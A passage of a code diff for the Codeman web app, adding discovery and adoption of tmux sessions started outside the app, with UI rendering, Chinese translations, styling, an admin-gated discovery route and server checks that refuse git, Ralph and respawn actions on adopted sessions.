+      container.hidden = !this.foreignScanRemote() && !this._foreignError && !hasNotes && !this._foreignCanScanWide;
+      if (!container.hidden) {
+        container.appendChild(this._foreignHeader(0));
+        const empty = document.createElement('div');
+        empty.className = 'foreign-empty';
+        this._appendForeignNotes(container);
+        empty.textContent = this._foreignError
+          ? foreignT('Could not reach the server.')
+          : foreignT('No sessions found outside Codeman.');
+        container.appendChild(empty);
+      }
+      return;
+    }
+
+    container.hidden = false;
+    container.appendChild(this._foreignHeader(rows.length));
+
+    this._appendForeignNotes(container);
+
+    const list = document.createElement('div');
+    list.className = 'foreign-list';
+    // Adoptable first: an already-open one is not an action, it is a reminder.
+    const sorted = rows.slice().sort((a, b) => {
+      const aOpen = a.adoptedBy ? 1 : 0;
+      const bOpen = b.adoptedBy ? 1 : 0;
+      if (aOpen !== bOpen) return aOpen - bOpen;
+      return (b.createdAt || 0) - (a.createdAt || 0);
+    });
+    for (const row of sorted) list.appendChild(this._foreignRow(row));
+    container.appendChild(list);
+  },
+
+  /**
+   * Why a scan produced less than the user expected.
+   *
+   * Without this, a session skipped for an unsafe name or a host that could not
+   * be reached is simply ABSENT, and "my tmux session does not show up" has no
+   * answer anywhere in the product. Notes are server-authored strings, rendered
+   * as text.
+   */
+  _appendForeignNotes(container) {
+    const local = Array.isArray(this._foreignNotes) ? this._foreignNotes : [];
+    const wide = this.foreignScanRemote() && Array.isArray(this._foreignWideNotes) ? this._foreignWideNotes : [];
+    const notes = wide.length ? local.concat(wide) : local;
+    if (!notes.length) return;
+    const box = document.createElement('div');
+    box.className = 'foreign-notes';
+    box.setAttribute('data-i18n-skip', '');
+    for (const n of notes) {
+      const line = document.createElement('div');
+      line.className = 'foreign-note';
+      line.textContent = n;
+      box.appendChild(line);
+    }
+    container.appendChild(box);
+  },
+
+  _foreignHeader(count) {
+    const header = document.createElement('div');
+    header.className = 'foreign-header';
+
+    const title = document.createElement('h3');
+    title.className = 'foreign-title';
+    title.textContent = foreignT('Opened outside Codeman');
+    header.appendChild(title);
+
+    if (count) {
+      const badge = document.createElement('span');
+      badge.className = 'foreign-count';
+      badge.setAttribute('data-i18n-skip', '');
+      badge.textContent = String(count);
+      header.appendChild(badge);
+    }
+
+    const scan = document.createElement('button');
+    scan.type = 'button';
+    scan.className = 'foreign-scan-toggle';
+    scan.dataset.foreignAction = 'toggle-scan';
+    scan.setAttribute('aria-pressed', String(this.foreignScanRemote()));
+    scan.title = foreignT('Also scan containers and remote hosts (slower)');
+    scan.textContent = this.foreignScanRemote() ? '⟳ all' : '⟳ local';
+    header.appendChild(scan);
+
+    // The wide scan is one-shot, so without this button its rows could only
+    // ever be refreshed by toggling off and on again.
+    if (this.foreignScanRemote()) {
+      const rescan = document.createElement('button');
+      rescan.type = 'button';
+      rescan.className = 'foreign-scan-toggle';
+      rescan.dataset.foreignAction = 'rescan-wide';
+      rescan.disabled = this._foreignWideLoading === true;
+      rescan.title = foreignT('Scan containers and remote hosts again');
+      rescan.textContent = this._foreignWideLoading ? foreignT('Scanning…') : foreignT('Rescan');
+      header.appendChild(rescan);
+    }
+
+    return header;
+  },
+
+  _foreignRow(row) {
+    const item = document.createElement('div');
+    item.className = 'foreign-row';
+    if (row.adoptedBy) item.classList.add('foreign-row--open');
+
+    const dot = document.createElement('span');
+    dot.className = `foreign-dot foreign-dot--${row.mode || 'shell'}`;
+    item.appendChild(dot);
+
+    const body = document.createElement('span');
+    body.className = 'foreign-row-body';
+
+    const line1 = document.createElement('span');
+    line1.className = 'foreign-row-name';
+    line1.setAttribute('data-i18n-skip', '');
+    line1.textContent = row.sessionName || '(unnamed)';
+    body.appendChild(line1);
+
+    const line2 = document.createElement('span');
+    line2.className = 'foreign-row-sub';
+    line2.setAttribute('data-i18n-skip', '');
+    const bits = [foreignModeLabel(row.mode)];
+    const where = row.hostLabel || foreignT(FOREIGN_LOCATION_LABEL[row.location] || row.location);
+    if (where) bits.push(where);
+    if (row.workingDir) bits.push(row.workingDir);
+    line2.textContent = bits.join(' · ');
+    line2.title = row.command || '';
+    body.appendChild(line2);
+
+    item.appendChild(body);
+
+    const action = document.createElement('button');
+    action.type = 'button';
+    action.className = 'foreign-open-btn';
+    if (row.adoptedBy) {
+      action.dataset.foreignAction = 'select';
+      action.dataset.foreignSession = row.adoptedBy;
+      action.textContent = foreignT('Go to tab');
+    } else {
+      action.dataset.foreignAction = 'adopt';
+      action.dataset.foreignId = row.id;
+      action.textContent = foreignT('Open');
+    }
+    item.appendChild(action);
+
+    return item;
+  },
+
+  /**
+   * One delegated listener per container, wired once. Delegation matters here
+   * because the list is fully rebuilt on every poll — per-button listeners would
+   * leak one set per tick.
+   */
+  wireForeignSessions() {
+    if (this._foreignWired) return;
+    this._foreignWired = true;
+    document.addEventListener('click', (event) => {
+      const el = event.target?.closest?.('[data-foreign-action]');
+      if (!el) return;
+      const action = el.dataset.foreignAction;
+      if (action === 'adopt') {
+        void this.adoptForeignSession(el.dataset.foreignId, el);
+      } else if (action === 'select') {
+        void this.selectSession(el.dataset.foreignSession);
+      } else if (action === 'toggle-scan') {
+        this.toggleForeignScanRemote();
+      } else if (action === 'rescan-wide') {
+        this.rescanForeignWide();
+      }
+    });
+  },
+});

src/web/public/git-status-ui.js

@@ -425,9 +425,11 @@ Object.assign(CodemanApp.prototype, {
         overview.state === 'not-a-repo'
           ? 'No git repository here: this session’s folder is not one, and none was found inside it (up to two levels down).'
           : overview.state === 'unsupported'
-            ? overview.reason === 'docker'
-              ? 'Git status is not available for Docker sessions, or for folders inside a Docker case workspace.'
-              : 'Git status is not available for remote (SSH) sessions.'
+            ? overview.reason === 'adopted'
+              ? 'Git status is not available for a tmux session opened outside Codeman.'
+              : overview.reason === 'docker'
+                ? 'Git status is not available for Docker sessions, or for folders inside a Docker case workspace.'
+                : 'Git status is not available for remote (SSH) sessions.'
             : `Could not read the repository: ${overview.error || 'git failed'}`;
       body.append(el('div', 'git-status-empty', why));
       clearChrome();

src/web/public/i18n.js

@@ -1379,6 +1379,29 @@
     'Remove Tab': '移除标签页',
     'Remove All Tabs': '移除所有标签页',
     'Use arrows to reorder. Changes are saved automatically.': '使用方向键重新排序；更改会自动保存。',
+    // Sessions opened outside Codeman (foreign-sessions.js, the close dialog and Session Options).
+    'Opened outside Codeman': '在 Codeman 之外打开',
+    'Also scan containers and remote hosts (slower)': '同时扫描容器和远程主机（较慢）',
+    'Scan containers and remote hosts again': '重新扫描容器和远程主机',
+    '⟳ all': '⟳ 全部',
+    '⟳ local': '⟳ 本机',
+    'Scanning…': '扫描中…',
+    Rescan: '重新扫描',
+    'Opening…': '正在打开…',
+    'Go to tab': '转到标签页',
+    'this machine': '本机',
+    container: '容器',
+    remote: '远程',
+    'No sessions found outside Codeman.': '未发现在 Codeman 之外打开的会话。',
+    'Could not reach the server.': '无法连接服务器。',
+    'Could not open that session. Refreshing the list.': '无法打开该会话，正在刷新列表。',
+    'Close Tab': '关闭标签页',
+    'Detaches only. The tmux session keeps running for whoever started it.':
+      '仅断开连接。该 tmux 会话会继续运行，供其启动者使用。',
+    'Where the tmux session was when it was opened here. It was started outside Codeman and keeps running if this tab closes.':
+      '该 tmux 会话在此处打开时所在的位置。它是在 Codeman 之外启动的，关闭此标签页后仍会继续运行。',
+    'Git status is not available for a tmux session opened outside Codeman.':
+      '在 Codeman 之外打开的 tmux 会话无法使用 Git 状态。',
   });
 
   const ZH_CN_LOWER = new Map(Object.entries(ZH_CN).map(([key, value]) => [key.toLocaleLowerCase('en'), value]));

src/web/public/index.html

@@ -583,6 +583,12 @@
             </div>
             <div class="history-list" id="historyList"></div>
           </div>
+          <!-- Sessions a human started outside Codeman (foreign-sessions.js).
+               Hidden until a scan finds one; never rendered empty on a fresh
+               install, where an empty block reads as a broken feature. -->
+          <div class="welcome-foreign">
+            <div class="foreign-sessions" id="foreignSessions" hidden></div>
+          </div>
           <p class="welcome-hint">Or click Run to start</p>
           <button class="welcome-ralph-link" onclick="app.showRalphWizard()">Start Ralph Loop &rarr;</button>
         </div>
@@ -1834,11 +1840,11 @@
           <p class="modal-session-name" id="closeConfirmSessionName"></p>
         </div>
         <div class="close-options">
-          <button class="close-option" onclick="app.confirmCloseSession(false)">
-            <span class="close-option-title">Remove Tab</span>
-            <span class="close-option-desc">Tmux session keeps running in background</span>
+          <button class="close-option" onclick="app.confirmCloseSession(false)" id="closeConfirmKeepBtn">
+            <span class="close-option-title" id="closeConfirmKeepTitle">Remove Tab</span>
+            <span class="close-option-desc" id="closeConfirmKeepDesc">Tmux session keeps running in background</span>
           </button>
-          <button class="close-option close-option-danger" onclick="app.confirmCloseSession(true)">
+          <button class="close-option close-option-danger" onclick="app.confirmCloseSession(true)" id="closeConfirmKillBtn">
             <span class="close-option-title" id="closeConfirmKillTitle">Kill Tmux & Claude Code</span>
             <span class="close-option-desc">Terminate the session completely</span>
           </button>
@@ -4676,6 +4682,7 @@
   <script defer src="webview-tabs.js"></script>
   <script defer src="mobile-overview.js"></script>
   <script defer src="home-sessions.js"></script>
+  <script defer src="foreign-sessions.js"></script>
   <script defer src="git-status-ui.js"></script>
   <script defer src="edit-history-ui.js"></script>
   <script defer src="entrance-animations.js"></script>

src/web/public/mobile-overview.js

@@ -508,6 +508,16 @@ Object.assign(CodemanApp.prototype, {
       )
     );
 
+    // Sessions a human opened outside Codeman. Its own container, rebuilt by the
+    // ONE renderer in foreign-sessions.js — the phone must not grow a second row
+    // builder that could describe the same session differently from the desktop.
+    const foreign = document.createElement('div');
+    foreign.className = 'foreign-sessions mobile-foreign-sessions';
+    foreign.id = 'mobileForeignSessions';
+    foreign.hidden = true;
+    el.appendChild(foreign);
+    this.renderForeignSessions?.(foreign);
+
     el.appendChild(
       this._buildMobileOverviewSection(
         'Past sessions',

src/web/public/mobile.css

@@ -4217,6 +4217,18 @@ html[data-session-list="sidebar"] .session-sidebar .session-tab .tab-close {
   }
 }
 
+/* Foreign sessions block inside the phone overview (foreign-sessions.js).
+   The desktop block sits inside the welcome column; here it is a full-width
+   section between CURRENT and PAST, so it only needs the surrounding spacing —
+   every row style is shared with styles.css on purpose. */
+.mobile-foreign-sessions {
+  margin: 0.75rem 0.75rem 0;
+}
+
+.mobile-foreign-sessions .foreign-list {
+  max-height: none;
+}
+
 /* Folding devices, tabletop pose: cap the response viewer to the bottom
    segment. Twin of the rule at the end of styles.css, needed here because the
    phone block (under 600px) above sets `max-height: 92dvh` on the same selector at the same

src/web/public/session-ui.js

@@ -2757,8 +2757,9 @@ Object.assign(CodemanApp.prototype, {
   /** Copy the open session's working folder (Session Options > Session > Working folder). */
   async copySessionPath() {
     const session = this.sessions.get(this.editingSessionId);
-    if (!session?.workingDir) return;
-    const ok = await this._copyText(session.workingDir);
+    const path = session?.adopt?.paneCurrentPath || session?.workingDir;
+    if (!path) return;
+    const ok = await this._copyText(path);
     this.showToast(ok ? 'Path copied' : 'Copy failed', ok ? 'success' : 'error');
   },
 
@@ -2833,8 +2834,9 @@ Object.assign(CodemanApp.prototype, {
     this.updateGitFetchStatus(sessionId);
     const imageWatcherToggle = document.getElementById('modalImageWatcherEnabled');
     imageWatcherToggle.checked = session.imageWatcherEnabled ?? true;
-    // The server never watches a remote session's directory (it is on another host), so the row is hidden.
-    imageWatcherToggle.closest('.set-row').style.display = session.remote ? 'none' : '';
+    // The server never watches a remote session's directory (it is on another host), nor an adopted
+    // session's (a neutral wrapper folder), so the row is hidden.
+    imageWatcherToggle.closest('.set-row').style.display = session.remote || session.adopt ? 'none' : '';
     document.getElementById('modalFlickerFilterEnabled').checked = session.flickerFilterEnabled ?? false;
 
     // Populate session name input with prefix/suffix split
@@ -2853,17 +2855,21 @@ Object.assign(CodemanApp.prototype, {
     }
 
     // Working folder: the path the CLI was launched in on the Codeman host
+    // (an adopted session's is the neutral wrapper folder, so the row shows where the pane was)
     const _pathEl = document.getElementById('modalSessionPath');
-    _pathEl.textContent = session.workingDir || '';
-    _pathEl.title = session.workingDir || '';
-    document.getElementById('modalSessionPathCopy').disabled = !session.workingDir;
+    const _shownPath = session.adopt?.paneCurrentPath || session.workingDir || '';
+    _pathEl.textContent = _shownPath;
+    _pathEl.title = _shownPath;
+    document.getElementById('modalSessionPathCopy').disabled = !_shownPath;
     // A remote session's workingDir is the REMOTE path; a docker session's is the
     // host bind-mount source the container sees.
-    document.getElementById('modalSessionPathDesc').textContent = session.remote
-      ? "Where this session's CLI runs, on the remote host it reaches over SSH, not on this machine."
-      : session.docker
-        ? "On the machine hosting Codeman, mounted into the Docker container this session's CLI runs in."
-        : "Where this session's CLI runs, on the machine hosting Codeman.";
+    document.getElementById('modalSessionPathDesc').textContent = session.adopt
+      ? 'Where the tmux session was when it was opened here. It was started outside Codeman and keeps running if this tab closes.'
+      : session.remote
+        ? "Where this session's CLI runs, on the remote host it reaches over SSH, not on this machine."
+        : session.docker
+          ? "On the machine hosting Codeman, mounted into the Docker container this session's CLI runs in."
+          : "Where this session's CLI runs, on the machine hosting Codeman.";
 
     // Initialize color picker with current session color
     const currentColor = session.color || 'default';
@@ -2890,11 +2896,11 @@ Object.assign(CodemanApp.prototype, {
       if (respawnTabBtn) respawnTabBtn.style.display = '';
     }
 
-    // Git is local git only: a remote (SSH) or Docker case answers 'unsupported' on both git routes and is
-    // never fetched by the interval scheduler, so its Git tab has nothing to say and its rail entry goes
-    // hidden the same way.
+    // Git is local git only: a remote (SSH) or Docker case, or an adopted session, answers 'unsupported' on
+    // both git routes and is never fetched by the interval scheduler, so its Git tab has nothing to say and
+    // its rail entry goes hidden the same way.
     const gitTabBtn = document.querySelector('#sessionOptionsModal .set-rail-item[data-tab="git"]');
-    if (gitTabBtn) gitTabBtn.style.display = session.remote || session.docker ? 'none' : '';
+    if (gitTabBtn) gitTabBtn.style.display = session.remote || session.docker || session.adopt ? 'none' : '';
 
     // Populate Ralph Wiggum form with current session values (skip for external CLI sessions)
     if (!isExternalCli) {
@@ -6112,7 +6118,7 @@ Object.assign(CodemanApp.prototype, {
 
   /** The Codeman-managed worktree a session runs in, or null (see managedWorktreeOfDir). */
   _managedWorktreeOfSession(session) {
-    if (!session || session.remote || session.docker) return null;
+    if (!session || session.remote || session.docker || session.adopt) return null;
     return managedWorktreeOfDir(session.workingDir, this.cases);
   },
 

src/web/public/styles.css

@@ -22133,6 +22133,176 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til
   color: var(--text-muted);
 }
 
+/* ═══════════════════════════════════════════════════════════════
+   Foreign sessions — tmux sessions a human started outside Codeman
+   (foreign-sessions.js). Rendered on the welcome screen and, with the
+   same row builder, inside the phone overview.
+
+   Colour vocabulary is deliberately the session-tab one: a mode dot on
+   the left, name over a dim meta line, action pinned right. A block that
+   invented its own language here would read as a different product.
+   ═══════════════════════════════════════════════════════════════ */
+
+.welcome-foreign {
+  width: 100%;
+  margin-top: 0.75rem;
+}
+
+.foreign-sessions {
+  display: flex;
+  flex-direction: column;
+  gap: 0.4rem;
+  text-align: left;
+}
+
+/* `.foreign-sessions` is a flex container, so `[hidden]` needs re-asserting or
+   the module's only visibility lever does nothing (same trap as .home-sessions). */
+.foreign-sessions[hidden] {
+  display: none;
+}
+
+.foreign-header {
+  display: flex;
+  align-items: center;
+  gap: 0.5rem;
+}
+
+.foreign-title {
+  font-size: 0.85rem;
+  color: var(--text-dim);
+  font-weight: 500;
+  text-align: left;
+}
+
+.foreign-count {
+  font-size: 0.68rem;
+  color: var(--text-dim);
+  background: rgba(255, 255, 255, 0.05);
+  border-radius: 999px;
+  padding: 0.1rem 0.45rem;
+  white-space: nowrap;
+}
+
+.foreign-scan-toggle {
+  margin-left: auto;
+  font-size: 0.68rem;
+  color: var(--text-dim);
+  background: transparent;
+  border: 1px solid var(--border);
+  border-radius: 999px;
+  padding: 0.12rem 0.5rem;
+  cursor: pointer;
+}
+
+.foreign-scan-toggle[aria-pressed='true'] {
+  color: var(--session-blue, #4a9eff);
+  border-color: var(--session-blue, #4a9eff);
+}
+
+.foreign-list {
+  display: flex;
+  flex-direction: column;
+  gap: 0.3rem;
+  max-height: min(40vh, 320px);
+  overflow-y: auto;
+}
+
+.foreign-row {
+  display: flex;
+  align-items: center;
+  gap: 0.55rem;
+  padding: 0.4rem 0.55rem;
+  border: 1px solid var(--border);
+  border-radius: 6px;
+  background: rgba(255, 255, 255, 0.02);
+  min-width: 0;
+}
+
+.foreign-row--open {
+  opacity: 0.62;
+}
+
+.foreign-dot {
+  width: 8px;
+  height: 8px;
+  border-radius: 50%;
+  flex: 0 0 auto;
+  background: var(--text-muted, #888);
+}
+
+.foreign-dot--claude {
+  background: #d97757;
+}
+.foreign-dot--codex {
+  background: #9b8cff;
+}
+.foreign-dot--shell {
+  background: #4caf7d;
+}
+
+.foreign-row-body {
+  display: flex;
+  flex-direction: column;
+  min-width: 0;
+  flex: 1 1 auto;
+}
+
+.foreign-row-name {
+  font-size: 0.82rem;
+  color: var(--text);
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+}
+
+.foreign-row-sub {
+  font-size: 0.68rem;
+  color: var(--text-dim);
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+}
+
+.foreign-open-btn {
+  flex: 0 0 auto;
+  font-size: 0.7rem;
+  padding: 0.22rem 0.6rem;
+  border-radius: 5px;
+  border: 1px solid var(--border);
+  background: rgba(255, 255, 255, 0.04);
+  color: var(--text);
+  cursor: pointer;
+}
+
+.foreign-open-btn:hover:not(:disabled) {
+  border-color: var(--session-blue, #4a9eff);
+  color: var(--session-blue, #4a9eff);
+}
+
+.foreign-open-btn:disabled {
+  opacity: 0.55;
+  cursor: default;
+}
+
+.foreign-empty {
+  font-size: 0.72rem;
+  color: var(--text-dim);
+  padding: 0.3rem 0.1rem;
+}
+
+.foreign-notes {
+  display: flex;
+  flex-direction: column;
+  gap: 0.15rem;
+}
+
+.foreign-note {
+  font-size: 0.66rem;
+  color: var(--text-dim);
+  opacity: 0.85;
+  line-height: 1.35;
+}
+
 /* XLSX preview in the file-preview overlay (spreadsheet-preview.js). Read-only; cells are
    absolutely positioned inside a virtualized grid, so only the visible tile is in the DOM. */
 .spreadsheet-preview-shell {

src/web/public/terminal-ui.js

@@ -2943,6 +2943,9 @@ Object.assign(CodemanApp.prototype, {
       if (overlay) overlay.classList.remove('visible');
       this.hideHomeSessions?.();
       this.showMobileOverview();
+      // The phone overview hosts the same list in its own container.
+      this.wireForeignSessions?.();
+      this.startForeignPolling?.();
       this._updateCjkInputState?.();
       return;
     }
@@ -2957,6 +2960,10 @@ Object.assign(CodemanApp.prototype, {
       // Open tabs down the left gutter. Self-gating: a window too narrow to hold
       // the column without overlapping the content leaves it hidden.
       this.showHomeSessions?.();
+      // Sessions a human opened outside Codeman. Polls only while this screen is
+      // up (stopped in hideWelcome) — see foreign-sessions.js.
+      this.wireForeignSessions?.();
+      this.startForeignPolling?.();
     }
     // Home screen has no input target — hide the CJK textarea (activeSessionId
     // is null by the time we get here). Guarded: defined on the app object.
@@ -2966,6 +2973,7 @@ Object.assign(CodemanApp.prototype, {
   hideWelcome() {
     this.hideMobileOverview?.();
     this.hideHomeSessions?.();
+    this.stopForeignPolling?.();
     const overlay = document.getElementById('welcomeOverlay');
     if (overlay) {
       overlay.classList.remove('visible');
@@ -6706,7 +6714,7 @@ Object.assign(CodemanApp.prototype, {
   _keyboardHoldEligible(sessionId = this.activeSessionId) {
     if (this.loadAppSettingsFromStorage?.()?.keyboardHoldsRows === false) return false;
     const session = sessionId ? this.sessions?.get(sessionId) : null;
-    if (!session || session.remote || session.docker || session.cliMouseTracking) return false;
+    if (!session || session.remote || session.docker || session.adopt || session.cliMouseTracking) return false;
     const modes = window.__codemanKeyboardHoldModes;
     return Array.isArray(modes) && modes.includes(session.mode || 'claude');
   },

src/web/routes/discord-routes.ts

@@ -197,7 +197,7 @@ export function registerDiscordRoutes(app: FastifyInstance, deps: DiscordRouteDe
     }
     let upload: { name: string; data: Uint8Array } | undefined;
     if (file !== undefined) {
-      const problem = await fileProblem(session.workingDir, !!session.remote, file);
+      const problem = await fileProblem(session.workingDir, !!session.remote || session.isAdopted, file);
       if (typeof problem === 'string') {
         refundNotifyToken(session.id);
         reply.code(400);

src/web/routes/edit-history-routes.ts

@@ -99,6 +99,7 @@ export function registerEditHistoryRoutes(app: FastifyInstance, ctx: SessionPort
       mode: session.mode,
       remote: session.remote,
       docker: session.docker,
+      adopt: session.adopt,
       claudeSessionId: session.claudeSessionId,
       claudeConfigDir: session.claudeConfigDir(),
     };

src/web/routes/git-status-routes.ts

@@ -81,6 +81,8 @@ export function registerGitStatusRoutes(
     const session = findSessionOrFail(ctx, id, req);
     if (session.remote) return { success: true, data: emptyOverview('unsupported', { reason: 'remote' }) };
     if (session.docker) return { success: true, data: emptyOverview('unsupported', { reason: 'docker' }) };
+    // An adopted wrapper's folder is the neutral `/tmp`, so a scan would run git on whatever sits there.
+    if (session.isAdopted) return { success: true, data: emptyOverview('unsupported', { reason: 'adopted' }) };
     return {
       success: true,
       data: await getGitWorkspaceOverview(session.workingDir, {
@@ -103,9 +105,12 @@ export function registerGitStatusRoutes(
     const { repo, path, kind } = query;
     const limits = limitsFrom(query);
     const session = findSessionOrFail(ctx, id, req);
-    if (session.remote || session.docker) {
+    if (session.remote || session.docker || session.isAdopted) {
       reply.code(400);
-      return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Git is not available for remote or Docker sessions');
+      return createErrorResponse(
+        ApiErrorCode.INVALID_INPUT,
+        'Git is not available for remote, Docker or adopted sessions'
+      );
     }
     const repoRoot = repo
       ? await findWorkspaceRepo(session.workingDir, repo, {
@@ -159,6 +164,7 @@ export function registerGitStatusRoutes(
     const session = findSessionOrFail(ctx, id, req);
     if (session.remote) return { success: true, data: emptyReport('unsupported', { reason: 'remote' }) };
     if (session.docker) return { success: true, data: emptyReport('unsupported', { reason: 'docker' }) };
+    if (session.isAdopted) return { success: true, data: emptyReport('unsupported', { reason: 'adopted' }) };
     // Fail CLOSED on a Docker case list that cannot be read: a fetch runs the repository's hooks, so it never
     // runs without knowing which folders a container can write to. Answered as a failed run (`state: 'error'`),
     // published like one, so the Session Options Git row shows it.

src/web/routes/mux-routes.ts

@@ -1,15 +1,25 @@
 /**
  * @fileoverview Mux (tmux) session management routes.
- * Provides mux session listing, killing, reconciliation, and stats control.
+ * Provides mux session listing, killing, reconciliation, stats control, and
+ * discovery of FOREIGN tmux sessions (ones a human started outside Codeman).
+ *
+ * Discovery lives here rather than beside the adopt endpoint on purpose: like
+ * every other route in this file it exposes cross-user process state — other
+ * people's session names, commands and working directories — so it inherits the
+ * admin gate this file already applies. Adoption is a session CREATE and stays in
+ * `session-routes.ts`, where the owner, capacity and case-space gates live.
  */
 
 import { FastifyInstance } from 'fastify';
-import type { InfraPort } from '../ports/index.js';
+import type { InfraPort, SessionPort } from '../ports/index.js';
 import { STATS_COLLECTION_INTERVAL_MS } from '../../config/server-timing.js';
 import { requireAdmin } from '../route-helpers.js';
 import { isMultiUserMode } from '../../config/multiuser.js';
+import { discoverForeignSessions, readAllDockerCases, readAllRemoteHosts } from '../../foreign-tmux-discovery.js';
+import { adoptTargetIdentity, foreignTargetKey } from '../../foreign-tmux.js';
+import { FOREIGN_POLL_INTERVAL_MS } from '../../config/foreign-tmux.js';
 
-export function registerMuxRoutes(app: FastifyInstance, ctx: InfraPort): void {
+export function registerMuxRoutes(app: FastifyInstance, ctx: InfraPort & SessionPort): void {
   app.get('/api/mux-sessions', async (req, reply) => {
     // Multi-user: this recovery/debug surface exposes every user's tmux + workdirs → admin-only
     // (requireAdmin is a no-op allow-all in single-user mode, so flag-off is unchanged).
@@ -36,6 +46,57 @@ export function registerMuxRoutes(app: FastifyInstance, ctx: InfraPort): void {
     return result;
   });
 
+  /**
+   * Foreign tmux sessions available for adoption.
+   *
+   * LOCAL results are always included and are TTL-cached, because the home screen
+   * polls this endpoint while it is open. DOCKER and REMOTE are opt-in per
+   * request (`?docker=1`, `?remote=1`): each costs one `docker exec` or one ssh
+   * per target, and having the home page fan those out on every load is the one
+   * cost this design refuses to pay.
+   *
+   * `adoptedBy` is filled from the live sessions, so a target Codeman already wraps
+   * renders as "open" rather than offering a second wrapper. Sessions and not mux
+   * records: the tmux record only exists once the tab's first attach starts the pane.
+   */
+  app.get('/api/mux/foreign', async (req, reply) => {
+    if (isMultiUserMode() && !requireAdmin(req, reply)) return;
+    const q = (req.query ?? {}) as Record<string, string | undefined>;
+    const wantDocker = q.docker === '1' || q.docker === 'true';
+    const wantRemote = q.remote === '1' || q.remote === 'true';
+
+    // Read the registries either way: `canScanWide` tells the browser whether the
+    // expensive scan has anywhere to go. Without it the UI hides an empty block —
+    // and with it the toggle that is the ONLY way to populate that block, which on
+    // a host with containers but no local tmux sessions made the feature invisible.
+    const dockerCases = await readAllDockerCases();
+    const remoteHosts = await readAllRemoteHosts();
+
+    const result = await discoverForeignSessions({
+      local: true,
+      force: q.force === '1',
+      dockerCases: wantDocker ? dockerCases : undefined,
+      remoteHosts: wantRemote ? remoteHosts : undefined,
+    });
+
+    // The same key the adopt route's one-wrapper check reads (see foreignTargetKey).
+    const wrapped = new Map<string, string>();
+    for (const session of ctx.sessions.values()) {
+      if (session.adopt) wrapped.set(foreignTargetKey(adoptTargetIdentity(session.adopt)), session.id);
+    }
+
+    return {
+      sessions: result.sessions.map((f) => ({
+        ...f,
+        adoptedBy: wrapped.get(foreignTargetKey(f)),
+      })),
+      scannedAt: result.scannedAt,
+      notes: result.notes,
+      pollIntervalMs: FOREIGN_POLL_INTERVAL_MS,
+      canScanWide: dockerCases.length > 0 || remoteHosts.length > 0,
+    };
+  });
+
   app.post('/api/mux-sessions/stats/start', async (req, reply) => {
     // Multi-user: process-wide stats collection toggle → admin-only.
     if (isMultiUserMode() && !requireAdmin(req, reply)) return;

src/web/routes/ralph-routes.ts

@@ -37,6 +37,15 @@ import type { SessionPort, EventPort, RespawnPort, ConfigPort, InfraPort } from
 /** Cap on a remote `@fix_plan.md` read over ssh (a task list, not a document). */
 const MAX_REMOTE_FIX_PLAN_BYTES = 1024 * 1024;
 
+/**
+ * An adopted session's `workingDir` is the neutral wrapper folder `/tmp`, not a workspace.
+ * Using it would write a predictable name into a folder anyone can write to, and read one
+ * back, while the agent in the pane never sees either file.
+ */
+function refuseAdoptedRalphFile(file: string) {
+  return createErrorResponse(ApiErrorCode.INVALID_INPUT, `${file} is not available for an adopted session`);
+}
+
 export function registerRalphRoutes(
   app: FastifyInstance,
   ctx: SessionPort & EventPort & RespawnPort & ConfigPort & InfraPort
@@ -60,6 +69,17 @@ export function registerRalphRoutes(
       };
     const session = findSessionOrFail(ctx, id, req);
 
+    // ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
+    // session can be `mode: 'claude'` and still be a process we never launched.
+    // Everything below drives the pane on the assumption Codeman owns what runs
+    // in it — sending `/clear`, killing and relaunching the agent — which against
+    // someone else's live session is destructive, not merely unsupported.
+    if (session.isAdopted) {
+      return createErrorResponse(
+        ApiErrorCode.INVALID_INPUT,
+        'The Ralph tracker is not available for adopted sessions: Codeman did not start this agent and must not drive its lifecycle'
+      );
+    }
     // Ralph tracker is not supported for external-CLI sessions (opencode/codex)
     if (isExternalCliMode(session.mode)) {
       return createErrorResponse(
@@ -197,6 +217,7 @@ export function registerRalphRoutes(
   app.post('/api/sessions/:id/fix-plan/write', async (req) => {
     const { id } = req.params as { id: string };
     const session = findSessionOrFail(ctx, id, req);
+    if (session.isAdopted) return refuseAdoptedRalphFile('@fix_plan.md');
     // A remote session's workingDir is a path on the remote host. Writing it with local fs would land
     // the file in a same-named local folder (or fail), and remote writes are out of scope by design
     // (src/remote-files.ts is read-only), so it is refused, like the File Viewer's remote edit.
@@ -233,6 +254,7 @@ export function registerRalphRoutes(
   app.post('/api/sessions/:id/fix-plan/read', async (req) => {
     const { id } = req.params as { id: string };
     const session = findSessionOrFail(ctx, id, req);
+    if (session.isAdopted) return refuseAdoptedRalphFile('@fix_plan.md');
 
     const workingDir = session.workingDir;
     if (!workingDir) {
@@ -280,6 +302,7 @@ export function registerRalphRoutes(
     const { id } = req.params as { id: string };
     const { content } = parseBody(RalphPromptWriteSchema, req.body, 'Invalid request body');
     const session = findSessionOrFail(ctx, id, req);
+    if (session.isAdopted) return refuseAdoptedRalphFile('@ralph_prompt.md');
     // Same rule as fix-plan/write: never write a remote session's file on the local disk.
     if (session.remote) {
       return createErrorResponse(

src/web/routes/readmymind-routes.ts

@@ -91,8 +91,9 @@ export function registerReadMyMindRoutes(app: FastifyInstance, ctx: SessionPort
       const transcriptPath = ctx.getTranscriptPath(id);
       const transcript = transcriptPath ? await readTranscriptSignals(transcriptPath) : null;
       // Remote-SSH cases skip git: workingDir is not local. Docker cases are
-      // fine (the workspace is bind-mounted at the same host path).
-      const workspace = session.remote ? null : await collectWorkspaceSignals(session.workingDir);
+      // fine (the workspace is bind-mounted at the same host path). An adopted
+      // session's workingDir is a neutral wrapper folder, so it skips git too.
+      const workspace = session.remote || session.isAdopted ? null : await collectWorkspaceSignals(session.workingDir);
 
       const lastPromptTs = profile.recentPrompts[profile.recentPrompts.length - 1]?.ts;
       const tracker = ctx.runSummaryTrackers.get(id);

src/web/routes/respawn-routes.ts

@@ -98,6 +98,17 @@ export function registerRespawnRoutes(
     }
     const session = findSessionOrFail(ctx, id, req);
 
+    // ⚠️ Adoption gate, kept SEPARATE from the external-CLI gate above: an adopted
+    // session can be `mode: 'claude'` and still be a process we never launched.
+    // Everything below drives the pane on the assumption Codeman owns what runs
+    // in it — sending `/clear`, killing and relaunching the agent — which against
+    // someone else's live session is destructive, not merely unsupported.
